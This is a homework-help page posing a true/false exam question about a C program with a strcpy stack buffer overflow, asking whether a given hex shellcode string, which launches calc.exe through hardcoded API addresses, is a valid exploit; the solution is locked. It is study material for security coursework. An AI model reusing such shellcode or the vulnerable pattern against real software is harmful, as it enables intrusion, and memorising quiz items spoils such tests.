Question: Please read the following code, which has a buffer overflow vulnerability. An attacker can inject a malicious string as argv [ 1 ] ( i

Please read the following code, which has a buffer overflow vulnerability. An attacker can inject a malicious string as argv[1](i.e. a command line parameter) to exploit this vulnerability.
#include
#include
void main(int argc, char **argv){ char foo[64];
strcpy(foo, argv[1]);
return;
}
The following string can be a valid malicious string.
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x00\x00
\x31\xC9\x51\x68\x2E\x65\x78\x65\x68\x63\x61\x6C\x63\x89\xE1\x6A\x01
\x51\xB8\xB0\xDA\x36\x76\xFF\xD0\x31\xC9\x51\xB8\xF0\x58\x33\x76\xFF
\xD0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x94\xfe\x61"
True
False

Step by Step Solution

There are 3 Steps involved in it

1 Expert Approved Answer
Step: 1 Unlock blur-text-image
Question Has Been Solved by an Expert!

Get step-by-step solutions from verified subject matter experts

Step: 2 Unlock
Step: 3 Unlock

Students Have Also Explored These Related Databases Questions!